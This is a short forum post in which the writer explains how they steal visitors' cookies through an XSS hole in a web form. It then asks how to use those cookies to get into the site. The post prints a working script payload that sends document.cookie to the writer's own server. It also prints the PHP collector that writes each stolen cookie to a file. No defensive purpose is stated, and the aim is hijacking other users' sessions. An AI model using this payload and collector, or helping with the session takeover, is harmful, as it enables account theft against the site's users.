I have seen many posts about stealing cookies, as a matter of fact I have taken advantage of the XSS vulnerability to send the cookie to my php through a variable in the url to a php, and that php writes the cookie into a file. (I think that is one of the normal processes).
I´m gonna tell you how for making it clearer:
What I write in the form:
<script>location.href = 'http://myserverIP/test/signup.php?cookie='+document.cookie;</script>
$cookie = $_GET['cookie']; //open the file and choose the mode $fh = fopen("users", "a"); fwrite($fh, $cookie); //close the file fclose($fh); print "User Submitted: "; print ($cookie);
Everything well so far, but now, in the computer I have the cookie, how can I get in the website.
If you could tell how can I take advantage of knowing the cookies I would appreciate it.